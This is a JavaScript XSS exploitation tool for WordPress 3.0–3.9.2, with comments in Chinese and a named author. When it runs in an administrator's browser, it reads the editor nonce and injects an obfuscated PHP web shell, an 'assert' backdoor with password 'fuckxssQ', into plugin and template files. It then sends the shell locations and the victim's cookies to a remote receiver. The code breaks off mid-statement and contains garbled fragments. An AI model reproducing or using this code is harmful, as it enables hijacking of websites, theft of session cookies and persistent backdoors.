/* WordPress 3.0-3.9.2 XSS全自动利用工具 Author: 0x_Jin Blog: http://xss1.com WeiBo: http://weibo.com/J1n9999 Mail: root@xss1.com */ var file = ""; var xurl = "plugin-editor.php"; var Aurl = "user-new.php"; var file2= []; var shell= []; var recieve="";//recieve.php 在公网中的地址 var StartGetshell = 1; //是否getshell全部模板 1为是 0为否 var shellcode = '$k="ass"."ert"; $k(base64_decode(${"_PO"."ST"} ["fuckxssQ"]));'; var tempname = location.href.substring(location.href.indexOf('wp-admin'),location.href.length); if(!window.x){ var _st = window.setTimeout; window.setTimeout = function(fRef, mDelay) { if(typeof fRef == 'function'){ var argu = Array.prototype.slice.call(arguments,2); var f = (function(){ fRef.apply(null, argu); }); return _st(f, mDelay); } return _st(fRef,mDelay); } } function fuckxss(){ var tempshell = ""; jQuery.ajax({ url: xurl, type: 'GET', dataType: 'html', data: {}, }) .done(function(data) { var temp = jQuery(data); var Xtoken = ""; var Tmpcode = ""; temp.find('input#_wpnonce').each(function(i,o){ var o=jQuery(o); Xtoken=o.attr('value'); }); temp.find('div.alignleft big strong').each(function(i,o){ var o=jQuery(o); file = o.text(); }) temp.find('textarea#newcontent').each(function(i,o){ var o=jQuery(o); if(o.text().indexOf('$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);')>0){ SenData('shell has presence,Path: '+location.href.replace(tempname,"wp-content/plugins/"+file)+" Password: fuckxssQ\r\n\r\nCookie: "+document.cookie); return false; } Tmpcode = o.text().replace('0){ shell.push('shell has presence,Path: '+location.href.replace(tempname,"wp-content/plugins/"+filename)+" Password: fuckxssQ"); console.log(filename+" x "+TmpArr); if(filename==TmpArr){ SenData(shell.join("\r\n")); } return false; } NewCode = o.text().replace('